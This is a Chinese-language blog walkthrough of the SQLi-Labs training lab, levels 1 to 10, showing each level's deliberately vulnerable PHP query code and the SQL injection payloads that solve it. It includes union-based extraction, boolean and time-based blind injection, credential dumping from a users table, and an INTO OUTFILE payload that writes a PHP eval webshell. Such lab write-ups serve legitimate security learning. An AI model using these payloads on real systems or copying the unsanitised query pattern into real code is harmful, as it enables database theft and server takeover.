SQLi-Labs 1-10道题思路整理

SQLi-Labs 1-10道题思路整理

重点在于理解考察点和解决思路
有了思路后面就套路一些公式代码即可

Less-1

  • 题目内容: GET - Error based - String。基于错误的字符串注入,使用单引号闭合,参数通过GET id传入,查询用户数据并显示用户名和密码。
  • 源码分析及漏洞点:
    <?php
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    if(isset($_GET['id'])){
        $id = $_GET['id'];
        $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
        $result = mysql_query($sql);
        $row = mysql_fetch_array($result);
        if($row){
            echo 'Your Login name: ' . $row['username'];
            echo '<br>';
            echo 'Your Password: ' . $row['password'];
        } else {
            print_r(mysql_error());
        }
    } else {
        echo "Please input the ID as parameter with numeric value";
    }
    ?>
    
    漏洞点:查询语句中id参数直接拼接在单引号内(‘$id’),未过滤用户输入。攻击者可注入单引号闭合字符串,造成语法错误或联合查询,导致数据库信息泄露或绕过限制。
  • 考查点: 单引号字符串闭合、联合查询(union select)、错误信息泄露。
  • 解题思路和代码片段: 测试单引号引发错误,确定闭合。用order by找列数(3列),union select注入数据库信息。
    • 测试: ?id=1’
    • 列数: ?id=1’ order by 3 --+
    • 注入: ?id=-1’ union select 1, database(), version() --+

Less-2

  • 题目内容: GET - Error based - Integer。基于错误的整数注入,无引号闭合,参数通过GET id传入,查询用户数据并显示用户名和密码。
  • 源码分析及漏洞点:
    <?php
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    if(isset($_GET['id'])){
        $id = $_GET['id'];
        $sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
        $result = mysql_query($sql);
        $row = mysql_fetch_array($result);
        if($row){
            echo 'Your Login name: ' . $row['username'];
            echo '<br>';
            echo 'Your Password: ' . $row['password'];
        } else {
            print_r(mysql_error());
        }
    } else {
        echo "Please input the ID as parameter with numeric value";
    }
    ?>
    
    漏洞点:id参数无引号包围,直接作为整数拼接。攻击者可注入数字或运算符(如union),无需闭合引号,但需处理整数上下文,导致错误泄露信息。
  • 考查点: 整数型注入、无需闭合引号、order by确定列数。
  • 解题思路和代码片段: 无引号,直接注入数字或union。order by找列数。
    • 测试: ?id=1 order by 3 --+
    • 注入: ?id=-1 union select 1, database(), version() --+
  • 相较上一题的难度提升: 无需闭合引号,引入整数型注入,难度略降但需理解类型差异(从字符串到整数上下文)。

Less-3

  • 题目内容: GET - Error based - Single quote with twist。基于错误的单引号变体,使用括号和单引号闭合,参数通过GET id传入,查询用户数据并显示用户名和密码。
  • 源码分析及漏洞点:
    <?php
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    if(isset($_GET['id'])){
        $id = $_GET['id'];
        $sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
        $result = mysql_query($sql);
        $row = mysql_fetch_array($result);
        if($row){
            echo 'Your Login name: ' . $row['username'];
            echo '<br>';
            echo 'Your Password: ' . $row['password'];
        } else {
            print_r(mysql_error());
        }
    } else {
        echo "Please input the ID as parameter with numeric value";
    }
    ?>
    
    漏洞点:id参数在括号和单引号内((‘$id’))。需注入单引号闭合字符串,并处理括号,导致语法错误或注入联合查询。
  • 考查点: 括号+单引号闭合变体、语法调整。
  • 解题思路和代码片段: 单引号+括号闭合('))。
    • 测试: ?id=1’)
    • 注入: ?id=-1’) union select 1, database(), version() --+
  • 相较上一题的难度提升: 引入括号闭合,增加语法复杂性,难度提升(需额外处理括号平衡)。

Less-4

  • 题目内容: GET - Error based - Double quote string。基于错误的双引号字符串注入,使用括号和双引号闭合,参数通过GET id传入,查询用户数据并显示用户名和密码。
  • 源码分析及漏洞点:
    <?php
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    if(isset($_GET['id'])){
        $id = $_GET['id'];
        $sql = "SELECT * FROM users WHERE id=(\"$id\") LIMIT 0,1";
        $result = mysql_query($sql);
        $row = mysql_fetch_array($result);
        if($row){
            echo 'Your Login name: ' . $row['username'];
            echo '<br>';
            echo 'Your Password: ' . $row['password'];
        } else {
            print_r(mysql_error());
        }
    } else {
        echo "Please input the ID as parameter with numeric value";
    }
    ?>
    
    漏洞点:id参数在括号和双引号内((“$id”))。需注入双引号闭合,类似Less-3,但使用双引号变体。
  • 考查点: 括号+双引号闭合、字符串变体处理。
  • 解题思路和代码片段: 双引号+括号闭合("))。
    • 测试: ?id=1")
    • 注入: ?id=-1") union select 1, database(), version() --+
  • 相较上一题的难度提升: 双引号变体,类似但需适应闭合符号,难度持平(主要是符号替换)。

Less-5

  • 题目内容: GET - Double Injection - String。双注入字符串,错误基于盲注,使用单引号,参数通过GET id传入,成功仅显示"You are in"。
  • 源码分析及漏洞点:
    <?php
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    if(isset($_GET['id'])){
        $id = $_GET['id'];
        $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
        $result = mysql_query($sql);
        $row = mysql_fetch_array($result);
        if($row){
            echo "You are in...........";
        } else {
            echo '<font color="#FFFF00">';
            print_r(mysql_error());
            echo "</font>";
        }
    } else {
        echo "Please input the ID as parameter with numeric value";
    }
    ?>
    
    漏洞点:类似Less-1,但成功时仅显示"You are in",失败时显示错误(双注入)。漏洞在单引号闭合,适合错误盲注或联合查询,但无直接输出。
  • 考查点: 双注入(union但无直接输出)、错误盲注。
  • 解题思路和代码片段: 双注入,成功无输出,失败显示错误。用union但需盲猜或错误触发。
    • 测试: ?id=1’
    • 注入: ?id=-1’ union select 1, database(), version() --+ (观察错误变化)
  • 相较上一题的难度提升: 引入双注入,无直接输出,需盲注技巧,难度提升(从显式输出到部分盲注)。

Less-6

  • 题目内容: GET - Double Injection - Double quote string。双注入双引号字符串,使用双引号,参数通过GET id传入,成功仅显示"You are in"。
  • 源码分析及漏洞点:
    <?php
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    if(isset($_GET['id'])){
        $id = $_GET['id'];
        $sql = "SELECT * FROM users WHERE id=\"$id\" LIMIT 0,1";
        $result = mysql_query($sql);
        $row = mysql_fetch_array($result);
        if($row){
            echo "You are in...........";
        } else {
            echo '<font color="#FFFF00">';
            print_r(mysql_error());
            echo "</font>";
        }
    } else {
        echo "Please input the ID as parameter with numeric value";
    }
    ?>
    
    漏洞点:双引号闭合变体,类似Less-5。需双引号注入,错误显示用于盲注。
  • 考查点: 双引号双注入、类似Less-5但闭合不同。
  • 解题思路和代码片段: 类似Less-5,但双引号闭合。
    • 测试: ?id=1"
    • 注入: ?id=-1" union select 1, database(), version() --+
  • 相较上一题的难度提升: 双引号变体,难度持平(主要是闭合符号调整)。

Less-7

  • 题目内容: GET - Dump into outfile - String。文件导出注入,使用单引号,参数通过GET id传入,失败显示自定义消息,无错误输出。
  • 源码分析及漏洞点:
    <?php
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    if(isset($_GET['id'])){
        $id = $_GET['id'];
        $sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
        $result = mysql_query($sql);
        $row = mysql_fetch_array($result);
        if($row){
            echo "You are in...........";
        } else {
            echo '<font color="#FFFF00">';
            echo "((( Something's Wrong )))";
            echo "</font>";
        }
    } else {
        echo "Please input the ID as parameter with numeric value";
    }
    ?>
    
    漏洞点:括号和单引号闭合,失败时无错误显示,仅自定义消息。适合文件导出注入(如into outfile),漏洞在多层闭合。
  • 考查点: 文件导出(into outfile/dumpfile)、权限绕过。
  • 解题思路和代码片段: 多层闭合('))),用于into outfile写文件(需文件权限)。
    • 测试: ?id=1’))
    • 写文件: ?id=1’)) union select 1, “<?php phpinfo(); ?>”, 3 into outfile ‘c:/www/shell.php’ --+
  • 相较上一题的难度提升: 无错误输出,引入文件操作,需权限知识,难度提升(从盲注到高级利用)。

Less-8

  • 题目内容: GET - Blind - Boolean Based - Single quote。布尔盲注,使用单引号,参数通过GET id传入,成功显示"You are in",失败无输出。
  • 源码分析及漏洞点:
    <?php
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    if(isset($_GET['id'])){
        $id = $_GET['id'];
        $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
        $result = mysql_query($sql);
        $row = mysql_fetch_array($result);
        if($row){
            echo "You are in...........";
        } else {
            echo "";
        }
    } else {
        echo "Please input the ID as parameter with numeric value";
    }
    ?>
    
    漏洞点:布尔盲注,无错误/输出差异,仅成功显示"You are in"。需通过真/假响应判断注入。
  • 考查点: 布尔盲注、真/假响应差异(如页面内容变化)。
  • 解题思路和代码片段: 布尔盲注,真时显示"You are in",假时无。if/ascii/substr逐位猜。
    • 测试: ?id=1’ and 1=1 --+ (真)
    • 猜数据库: ?id=1’ and ascii(substr(database(),1,1))>100 --+
  • 相较上一题的难度提升: 布尔盲注,无任何输出/错误,需响应差异判断,难度大幅提升(完全依赖页面变化)。

Less-9

  • 题目内容: GET - Blind - Time Based - Single quote。时间盲注,使用单引号,参数通过GET id传入,响应始终相同"You are in"。
  • 源码分析及漏洞点:
    <?php
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    if(isset($_GET['id'])){
        $id = $_GET['id'];
        $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
        $result = mysql_query($sql);
        $row = mysql_fetch_array($result);
        if($row){
            echo "You are in...........";
        } else {
            echo "You are in...........";
        }
    } else {
        echo "Please input the ID as parameter with numeric value";
    }
    ?>
    
    漏洞点:时间盲注,响应始终相同。需通过sleep()等时间延迟判断真/假。
  • 考查点: 时间盲注、sleep/if条件延迟。
  • 解题思路和代码片段: 时间盲注,始终显示"You are in",用sleep/if延迟判断真假。
    • 测试: ?id=1’ and if(1=1, sleep(5), 0) --+
    • 猜数据库: ?id=1’ and if(ascii(substr(database(),1,1))>100, sleep(5), 0) --+
  • 相较上一题的难度提升: 时间盲注,响应相同,需延迟判断,难度进一步提升(网络延迟干扰,判断更复杂)。

Less-10

  • 题目内容: GET - Blind - Time Based - Double quote。时间盲注,使用双引号,参数通过GET id传入,响应始终相同"You are in"。
  • 源码分析及漏洞点:
    <?php
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    if(isset($_GET['id'])){
        $id = $_GET['id'];
        $sql = "SELECT * FROM users WHERE id=\"$id\" LIMIT 0,1";
        $result = mysql_query($sql);
        $row = mysql_fetch_array($result);
        if($row){
            echo "You are in...........";
        } else {
            echo "You are in...........";
        }
    } else {
        echo "Please input the ID as parameter with numeric value";
    }
    ?>
    
    漏洞点:双引号时间盲注,类似Less-9,但闭合为双引号。
  • 考查点: 双引号时间盲注、类似Less-9变体。
  • 解题思路和代码片段: 类似Less-9,但双引号闭合。
    • 测试: ?id=1" and if(1=1, sleep(5), 0) --+
    • 猜数据库: ?id=1" and if(ascii(substr(database(),1,1))>100, sleep(5), 0) --+
  • 相较上一题的难度提升: 双引号变体,难度持平(主要是闭合符号调整)。

总结

解题思路技巧总结:

  • 基础测试: 总是从单引号/双引号测试开始,观察错误/响应变化,确定闭合方式(', ", ', ), "))。
  • 列数确定: 用order by 1/2/3… 递增,直到错误;或union select 1,2,3… null填充。
  • 注入类型判断: 有错误输出→错误注入;有响应差异→布尔盲注;无差异→时间盲注。
  • 信息提取: union select database()/version()/user();盲注用ascii/substr/if逐位猜。
  • 高级技巧: 文件导出需outfile/dumpfile,时间盲注用sleep/benchmark;自动化用sqlmap --technique=B/T/U。
  • 难度递进: 从显式错误到完全盲注,强调适应闭合变体和响应分析。

常用SQL片段整理:

类别片段示例用途
测试闭合’ , " , ') , ") , ))引发语法错误,确认注入点
列数确定order by 3 --+
union select 1,2,3 --+
找查询列数
基本信息提取union select database(), version(), user() --+获取数据库/版本/用户
盲注布尔and ascii(substr(database(),1,1))>64 --+逐位猜字符(真/假响应)
盲注时间and if(1=1, sleep(5), 0) --+延迟判断真假
文件导出union select 1, “<?php eval($_POST[1]); ?>”, 3 into outfile ‘/var/www/shell.php’ --+写webshell(需权限)
表/列枚举union select group_concat(table_name) from information_schema.tables where table_schema=database() --+
union select group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
列出表/列
数据提取union select group_concat(username,‘:’,password) from users --+dump数据
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ytadpole

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值